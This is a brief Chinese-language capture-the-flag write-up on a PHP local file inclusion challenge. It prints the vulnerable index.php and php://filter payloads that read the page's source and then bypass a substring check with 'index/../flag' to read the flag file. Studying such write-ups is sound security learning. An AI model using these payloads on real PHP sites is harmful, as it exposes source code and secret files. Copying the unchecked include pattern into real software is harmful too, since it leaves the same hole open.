注意到url中的参数category,以为是注入点,实际上输入其他的只会一个错误说明
用php伪协议读取文件
/index.php?category=php://filter/convert.base64-encode/resource=index
解密拿到代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
include ($file . '.php');
这句话也解释了为什么不能写index.php
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
strpos(a,b)用来查找b字符串在a字符串中的位置,其实只要包含b就可以了
payload
php://filter/read=convert.base64-encode/resource=index/../flag
网上有很多说利用伪协议嵌套的方法,不是很明白什么意思
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
有时间可以看看这个伪协议底层怎么实现的